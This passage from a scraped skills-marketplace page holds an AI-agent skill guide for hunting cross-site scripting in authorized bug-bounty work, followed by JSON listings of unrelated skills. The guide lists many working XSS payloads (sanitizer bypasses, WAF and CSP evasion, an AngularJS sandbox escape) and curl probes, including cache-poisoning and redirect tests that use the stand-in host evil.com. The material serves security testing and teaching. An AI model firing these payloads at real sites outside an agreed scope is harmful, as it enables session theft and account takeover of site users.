diagram rendering endpoints\n- Cache layers in front of authenticated pages (cache poisoning vector)\n\n---\n\n## Step-by-Step Hunting Methodology\n\n1. **Map all reflection points** — Spider the target and identify every place user input appears in HTML output. Prioritize: URL parameters, form fields, HTTP headers (User-Agent, Referer), file upload names\u002Fcontents, and API response fields rendered in UI.\n\n2. **Classify by type** — Determine if each reflection is Reflected (URL param → response), Stored (database → later rendering), or DOM-based (JS reads URL\u002Fstorage → DOM sink). Each requires different payload delivery.\n\n3. **Probe sanitizer behavior** — Send harmless canary strings first: `aaa\"bbb'ccc\u003Cddd` to determine which characters are escaped. Observe if output is in HTML context, attribute context, JS context, or URL context.\n\n   **Marker Discipline:** When choosing canary strings, they MUST be unique random alphanumeric strings (8+ chars, no English words, no protocol keywords). Bad markers: `test`, `marker`, `evil`, `attacker`, `payload`, `javascript`, `script`. Good markers: `cpmark987abc`, `x4hd2k9pq`, `__ZZ_MARKER_\u003Crandom>_ZZ__`. Before claiming reflection, search the baseline (no-marker) response for the marker — if it appears naturally in the page (e.g., the word `javascript` is in every page's help-link hrefs), it's a false-positive trap and you need a different marker. This single check catches 80% of false-positive reflection reports.\n\n4. **Test allowlisted tag combinations** — If a sanitizer is in use, probe for dangerous tag combos: `\u003Cmath>+\u003Cstyle>`, `\u003Csvg>+\u003Cstyle>`, `\u003Ciframe srcdoc>`, `\u003Cstyle>` with expressions.\n\n5. **Hunt SVG and file upload vectors** — Upload SVG files containing `\u003Cscript>` tags. Check Content-Type response header. Test if CSP applies to SVG responses separately.\n\n6. **Test markdown\u002Fdocumentation renderers** — In wiki, README, or doc fields, try: `[text] (javascript:alert(1))`, inline HTML injection, Kroki\u002FMermaid payloads, RDoc `link:javascript:` syntax.\n\n7. **Check redirect parameters** — Test `?redirect=javascript:alert(1)` and `?return_url=\u002F\u002Fevil.com` — look for single-click XSS via improper redirect sanitization.\n\n8. **Probe UTM and analytics parameters** — `utm_source`, `utm_medium`, `utm_campaign` are often reflected without sanitization on marketing pages.\n\n9. **Test CSP bypass opportunities** — If CSP is present, look for: JSONP endpoints on allowed domains, `unsafe-inline` in style-src, SVG that bypasses script-src, script gadgets on whitelisted CDNs.\n\n10. **Attempt stored XSS in profile\u002Fmetadata fields** — Username, bio, tag names, label colors, organization names — these render in many contexts and often have weaker validation.\n\n11. **Check cache poisoning** — Test if reflected XSS payloads can be cached and served to other users (especially on CDN-fronted pages), transforming reflected XSS into stored-equivalent.\n\n12. **Validate in target browser** — Always confirm in a real browser before reporting. Many payloads echo back in Burp but fail to execute in a real browser due to CSP, output encoding, framework auto-escaping, context mismatch, WAF normalization, or browser HTML-parsing differences. (Note: Chrome's XSS Auditor was removed in Chrome 78 \u002F Oct 2019 and no shipping browser has one — never attribute a failed PoC to an \"XSS auditor\".)\n\n---\n\n## Payload & Detection Patterns\n\n**Basic context probing:**\n```html\naaa\"bbb'ccc\u003Cddd>eee`fff\n```\n\n**Reflected XSS — URL parameter baseline:**\n```\n?q=\u003Cscript>alert(document.domain)\u003C\u002Fscript>\n?q=\">\u003Cscript>alert(1)\u003C\u002Fscript>\n?utm_source=\u003Csvg onload=alert(1)>\n?redirect=javascript:alert(document.domain)\n```\n\n**Attribute context escapes:**\n```html\n\" onmouseover=\"alert(1)\n' onmouseover='alert(1)\n`onmouseover=alert(1)\n```\n\n**SVG-based (CSP bypass):**\n```html\n\u003Csvg xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\">\n  \u003Cscript>alert(document.domain)\u003C\u002Fscript>\n\u003C\u002Fsvg>\n```\n\n**Sanitizer bypass — math+style combo:**\n```html\n\u003Cmath>\u003Cstyle>\u003Cimg src=x onerror=alert(1)>\u003C\u002Fstyle>\u003C\u002Fmath>\n```\n\n**Sanitizer bypass — svg+style combo:**\n```html\n\u003Csvg>\u003Cstyle>\u003Cimg src=x onerror=alert(1)>\u003C\u002Fstyle>\u003C\u002Fsvg>\n```\n\n**Markdown\u002FRDoc javascript: link:**\n```markdown\n[Click me] (javascript:alert(document.domain))\n```\n\n**Kroki\u002Fdiagram injection:**\n```\n```kroki\nplantuml\n@startuml\n:\u003Cscript>alert(1)\u003C\u002Fscript>;\n@enduml\n```\n```\n\n**DOM XSS via hash\u002Fsearch:**\n```javascript\n\u002F\u002F In browser console to test sink\nlocation.hash = '#\">\u003Cimg src=x onerror=alert(1)>'\nlocation.href = 'https:\u002F\u002Ftarget.com\u002Fpage#\u003Cscript>alert(1)\u003C\u002Fscript>'\n```\n\n**Grep patterns for source review:**\n```bash\n# Find dangerous sinks in JS\ngrep -rn \"innerHTML\\|document\\.write\\|eval(\\|setTimeout(\\|location\\.hash\\|location\\.search\" --include=\"*.js\" \u003C!-- security-allowlist: documented payload technique reference, do not execute outside authorized scope -->\n\n# Find unsafe Rails helpers\ngrep -rn \"html_safe\\|raw(\\|sanitize\\|translate\" --include=\"*.erb\" --include=\"*.rb\"\n\n# Find reflected params in responses\ngrep -i \"utm_source\\|utm_medium\\|redirect\\|return_url\\|callback\\|next\" --include=\"*.html\" -r\n```\n\n**Curl to detect reflection:**\n```bash\ncurl -sk \"https:\u002F\u002Ftarget.com\u002Fsearch?q=XSSCANARY\" | grep -i \"XSSCANARY\"\ncurl -sk \"https:\u002F\u002Ftarget.com\u002Fpage?utm_source=XSSCANARY\" | grep -i \"XSSCANARY\"\n```\n\n**Cache poisoning test:**\n```bash\n# Send payload then fetch with clean session to see if cached\ncurl -sk \"https:\u002F\u002Ftarget.com\u002Fpage?param=\u003Cscript>alert(1)\u003C\u002Fscript>\" -H \"X-Forwarded-Host: evil.com\"\ncurl -sk \"https:\u002F\u002Ftarget.com\u002Fpage\" | grep -i \"evil.com\"\n```\n\n---\n\n## Common Root Causes\n\n1. **Trusting `html_safe` in Rails** — Developers mark strings as safe after partial sanitization, or chain `.html_safe` on user-supplied data without full sanitization.\n\n2. **Allowlist sanitizers with dangerous tag combinations** — Allowing `style` alongside `math` or `svg` creates mXSS (mutation XSS) opportunities even when individual tags seem harmless.\n\n3. **Third-party rendering pipelines** — Markdown-to-HTML pipelines (Banzai, Kramdown, Kroki) introduce XSS when diagram\u002Frendering engines aren't sandboxed and output isn't re-sanitized.\n\n4. **Reflecting URL parameters without encoding** — UTM params, redirect URLs, and search terms are reflected in page HTML or JS without proper HTML-encoding, especially on marketing\u002Fhelp pages that are treated as lower-security.\n\n5. **SVG treated as non-script content** — Developers apply CSP to HTML responses but forget that `image\u002Fsvg+xml` responses can execute JavaScript and often aren't covered by the same CSP header.\n\n6. **Incomplete sanitizer patches** — CVE-patched sanitizers are bypassed by slight variations (e.g., CVE-2022-32209's incomplete fix demonstrates that sanitizer logic is difficult to get right, creating bypass chains).\n\n7. **`javascript:` scheme not blocked in href\u002Fsrc** — Link renderers (RDoc, Markdown) fail to block `javascript:` URLs in href attributes, treating them as valid external links.\n\n8. **Cache layers storing authenticated user input** — CDN or reverse proxy caches store responses containing user-controlled XSS payloads, serving them to subsequent unauthenticated users.\n\n9. **File upload without Content-Type enforcement** — Accepting SVG or HTML files and serving them without forcing `Content-Disposition: attachment` or overriding Content-Type.\n\n10. **Translation helper XSS** — Rails `translate`\u002F`t()` helper marks translation strings as HTML-safe and interpolates user input, enabling injection through locale keys.\n\n---\n\n## Bypass Techniques\n\n**CSP Bypass:**\n- SVG uploads bypass script-src because `image\u002Fsvg+xml` responses may not inherit the page's CSP\n- Find JSONP endpoints on whitelisted domains (`*.googleapis.com`, `*.cloudflare.com`)\n- Use `\u003Cbase>` tag injection to redirect script sources\n- Exploit `unsafe-eval` or `unsafe-inline` in style-src to execute CSS-based attacks\n- `\u003Clink rel=preload>` or `\u003Cmeta http-equiv>` gadgets to bypass strict policies\n\n**Sanitizer Bypasses:**\n- **mXSS (Mutation XSS):** Inject HTML that's safe when parsed by sanitizer but mutates when re-parsed by browser (e.g., `\u003Cmath>\u003Cstyle>\u003Cimg onerror=...>`)\n- **Tag combination attacks:** `\u003Csvg>` + `\u003Cstyle>` or `\u003Cmath>` + `\u003Cstyle>` create parsing ambiguity\n- **Attribute quoting variations:** `onmouseover=alert(1)` without quotes, backtick delimiters\n- **HTML entity encoding:** `javascript:` or `javascript:` in href values\n- **Protocol variations:** `javascript:`, `vbscript:`, `data:text\u002Fhtml`\n\n**Filter Evasion:**\n```html\n\u003C!-- Case variation -->\n\u003CScRiPt>alert(1)\u003C\u002FScRiPt>\n\u003C!-- Null bytes (legacy\u002Fweak — null bytes rarely survive modern HTTP\u002FHTML parsing; low success, don't rely on it) -->\n\u003Cscr\\x00ipt>alert(1)\u003C\u002Fscr\\x00ipt>\n\u003C!-- Tag breaking -->\n\u003Csvg\u002Fonload=alert(1)>\n\u003C!-- Event handler alternatives -->\n\u003Cbody onpageshow=alert(1)>\n\u003Cinput autofocus onfocus=alert(1)>\n\u003Cdetails open ontoggle=alert(1)>\n```\n\n**WAF Bypass:**\n```javascript\n\u002F\u002F Obfuscated payloads\n\u003Csvg onload=eval(atob('YWxlcnQoMSk='))> \u003C!-- security-allowlist: documented payload technique reference, do not execute outside authorized scope -->\n\u002F\u002F String splitting\n\u003Cscript>ale\\u0072t(1)\u003C\u002Fscript>\n\u002F\u002F HTML5 event handlers that WAFs miss\n\u003Cvideo src=x onerror=alert(1)>\n\u003Caudio src=x onerror=alert(1)>\n```\n\n**Redirect-based XSS bypass:**\n```\n?next=javascript:\u002F\u002F%0aalert(1)\n?next=javascript:alert(1)\n?redirect=\u002F\u002Fevil.com\u002F%0d%0a%0d%0a\u003Cscript>alert(1)\u003C\u002Fscript>\n```\n\n**AngularJS client-side template injection (CSTI) & sandbox escapes:**\n- *Detect:* the page uses AngularJS (look for `ng-app`\u002F`ng-controller` attributes, `angular.js`\u002F`angular.min.js`, or `{{ }}` interpolation). Probe a reflected param with `{{7*7}}` — if it renders `49` (not the literal text), the value is evaluated as an Angular expression. Always drive the `browser` tool so the expression actually evaluates.\n- *Execute JS by escaping the sandbox* (technique depends on the AngularJS version):\n  - Common: `{{constructor.constructor('alert(1)')()}}` or `{{$eval.constructor('alert(1)')()}}`.\n  - **Hard variant — `$eval` unavailable AND string literals disallowed:** overwrite `String.prototype.charAt` (this disables the sandbox's per-character string checks), then use the `orderBy` filter with `String.fromCharCode` to build your JS with no quotes at all. Payload structure (fill in the placeholders yourself):\n    ```\n    ?PARAM=1&toString().constructor.prototype.charAt=[].join;[1]|orderBy:toString().constructor.fromCharCode(CODES)=1\n    ```\n    - `PARAM` = the reflected parameter you found.\n    - `CODES` = the comma-separated character codes of the JavaScript you want to run — **compute these yourself** (e.g. encode `x=alert(1)` by converting each character to its char code). `toString()` produces a string without quotes; `[].join` replaces `charAt`; `orderBy` invokes the filter; `fromCharCode(CODES)` rebuilds your payload from the codes.\n- Applies to **legacy AngularJS (\u003C1.6)** only; modern frameworks (Angular 2+, React, Vue) are not affected.\n\n---\n\n## Gate 0 Validation\n\nBefore writing the report, answer all three:\n\n1. **What can the attacker DO right now?**\n   The attacker must demonstrate a concrete action: execute JavaScript in victim's browser session on the target domain, steal session cookies\u002Ftokens, perform actions as the victim, or exfiltrate sensitive data. \"Alert box appears\" is not sufficient — state what the alert box *represents* in terms of access (e.g., \"I can read `document.cookie` which contains the auth token used for all admin API calls\").\n\n2. **What does the victim LOSE?**\n   The victim must lose something real: session control (account takeover), sensitive data (cookies, CSRF tokens, PII), money (financial action performed without consent), or trust (credential phishing via DOM manipulation). If the victim is an unauthenticated user on a public page with no session, quantify what *that* user's browser is exposed to.\n\n3. **Can it be reproduced in 10 minutes from scratch?**\n   You must have a self-contained PoC URL or step sequence that any reviewer can follow without prior setup. The payload must fire in a current browser (Chrome\u002FFirefox latest) without special configuration. If it only works in outdated browsers or requires the victim to have a specific extension installed, it likely won't be accepted.\n\n---\n\n## Real Impact Examples\n\n**Scenario 1 — Stored XSS via Cache Poisoning on Sign-In Page**\nAn attacker discovered that a major payment platform's sign-in page reflected user-controlled input and was cached by the CDN layer. By sending a crafted request that poisoned the cache, the attacker transformed a reflected XSS into a stored-equivalent that fired for every user visiting the login page. Impact: mass credential harvesting at scale — every user who visited the sign-in page would have their credentials captured. The bypassed CSP made remediation require both code fixes and cache purging.\n\n**Scenario 2 — Stored XSS via Diagram Rendering in Wiki**\nA developer platform's wiki feature integrated a third-party diagram rendering service (Kroki). An attacker crafted a malicious diagram payload that, when rendered, executed arbitrary JavaScript in the context of any user viewing the wiki page. Because wikis are shared across team members including project owners and admins, the payload could silently exfiltrate OAuth tokens and perform administrative actions on behalf of every viewer — effectively achieving organization-level account takeover from a single stored payload.\n\n**Scenario 3 — Sanitizer Bypass via Label Color Field with CSP Bypass**\nA project management platform patched an XSS vulnerability in label color fields but the fix was incomplete. A researcher found that by combining the `style` tag allowlist with specific tag nesting (`svg>style`), the sanitizer's output mutated when parsed by the browser, executing injected JavaScript. The payload also bypassed the platform's Content Security Policy because the injection occurred in an allowlisted inline style context. Impact: any user with label-creation permissions (often all project members) could inject persistent XSS that triggered for every project visitor, enabling cross-user session theft within the same project namespace.\n\n---\n\n\n## Contents\n\n- [Chains & Compositions (Senior Hunting)](references\u002Fdetails.md)\n- [Related Skills & Chains](references\u002Fdetails.md)\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n",{"name":5,"risk":48,"source":49,"license":14,"sources":50,"category":51,"date_added":52,"description":7,"source_repo":53,"source_type":26,"report_count":54,"compatibility":55,"license_source":56},"offensive","https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter","github, hackerone_public","security","2026-09-20","elementalsouls\u002FClaude-BugHunter",174,"Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.","https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE","f3312ba749561b6159f477dbfc9313c875d40a56",".agents\u002Fskills_archive\u002Fhunt-xss","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612","2026-10-25 23:50:58",{"source":8,"skillName":5,"commands":63,"prompt":73,"zipAvailable":74},[64,67,70],{"tool":65,"command":66},"npx","npx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-xss",{"tool":68,"command":69},"bunx","bunx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-xss",{"tool":71,"command":72},"pnpm","pnpm dlx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill hunt-xss","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fhunt-xss\u002FSKILL.md",true,[76],{"path":77,"resourceType":78,"resourceTypeDesc":79,"sizeBytes":80,"sourceHtmlUrl":81},"references\u002Fdetails.md","REFERENCE","参考文档",8767,"https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fhunt-xss\u002Freferences\u002Fdetails.md",[83,106,130,152,180,204],{"skillNo":84,"name":85,"nameZh":6,"description":86,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":87,"categories":88,"keywords":92,"publishedAt":43},"01M6Q0FA5FZ410Z33Z3TFQ4DBA","zero-trust","Implement zero-trust network architecture. Configure identity-based access, micro-segmentation, and continuous verification. Use when implementing modern security architectures.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fzero-trust\u002FSKILL.md",[89],{"categoryNo":90,"categoryName":91,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000011","运维与部署",[93,94,95,96,97,98,85,99,100,101,102,36,26,34,103,104,32,31,29,105],"ZeRO","trust","zero trust","architecture","assessment","verification","segmentation","devops-security","access","configure","active","critical","implementing",{"skillNo":107,"name":108,"nameZh":6,"description":109,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":110,"categories":111,"keywords":112,"publishedAt":43},"01M6Q0F1YZJW3KX5FBKEVZ8CV4","zcode-delegate","Delegate coding tasks to the Z.AI ZCode CLI only when the user explicitly requests it, while the orchestrator retains review and landing responsibility.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fzcode-delegate\u002FSKILL.md",[],[113,114,115,116,117,118,119,120,121,122,123,124,125,36,126,26,127,128,104,129],"delegate","zcode","zcode delegate","review","cli","orchestration","tasks","run","Bash","model","node","read","orchestrator","files","desktop app","app","agent-orchestration",{"skillNo":131,"name":132,"nameZh":6,"description":133,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":134,"categories":135,"keywords":136,"publishedAt":43},"01M6Q0ETK41VGNMYEXW0T00AJN","youtube-transcript","Fetch YouTube transcripts through DeepAPI or local fallback tooling and save clean text output.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-transcript\u002FSKILL.md",[],[137,138,139,140,42,141,142,39,38,143,144,145,146,26,34,147,148,149,150,151],"transcript","youtube transcript","youtube","safe","codex","research","text","fetch","tooling","clean","local","output","deepapi","youtube transcripts","blob",{"skillNo":153,"name":154,"nameZh":6,"description":155,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":156,"categories":157,"keywords":169,"publishedAt":43},"01M6Q0EPPH2PVMDW40017F8WX0","youtube-transcript-skills","Fetch YouTube video transcripts, search videos\u002Fchannels, browse channels, and extract playlists via the getyoutubetranscript.com API - free tier, no card required.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-transcript-skills\u002FSKILL.md",[158,161,164],{"categoryNo":159,"categoryName":160,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":162,"categoryName":163,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000016","图像与多媒体",{"categoryNo":165,"categoryName":166,"taxonomyType":167,"taxonomyTypeDesc":168},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[137,138,139,170,140,171,42,141,39,172,173,174,175,144,176,26,34,177,178,179],"youtube transcript skills","gemini","search","api","Video","browse","api-integration","free","card","channels",{"skillNo":181,"name":182,"nameZh":6,"description":183,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":184,"categories":185,"keywords":190,"publishedAt":43},"01M6Q0EAB96PX83W5PTE8A0R8D","youtube-notetaker","Turn YouTube talks into local study notes with slides, transcripts, editable annotations, and a markdown-backed viewer.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-notetaker\u002FSKILL.md",[186,189],{"categoryNo":187,"categoryName":188,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000003","演示文稿",{"categoryNo":162,"categoryName":163,"taxonomyType":20,"taxonomyTypeDesc":21},[139,191,192,117,140,193,194,195,196,39,174,197,198,199,200,34,201,147,202,203],"youtube notetaker","notetaker","workflow","official","notes","code","markdown","slides","annotations","README","study","dair-academy","viewer",{"skillNo":205,"name":206,"nameZh":6,"description":207,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":208,"categories":209,"keywords":211,"publishedAt":43},"01M6Q0E55F0GW5MX48V8HXS8B5","youtube-full","Fetch YouTube transcripts, search videos, browse channels, and extract playlists via TranscriptAPI — no yt-dlp, no Google API key, works from any cloud server.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-full\u002FSKILL.md",[210],{"categoryNo":159,"categoryName":160,"taxonomyType":20,"taxonomyTypeDesc":21},[212,139,213,214,140,171,172,215,216,173,174,175,144,217,176,26,34,177,218,150],"youtube full","full","google","server","dlp","credits","automatic"]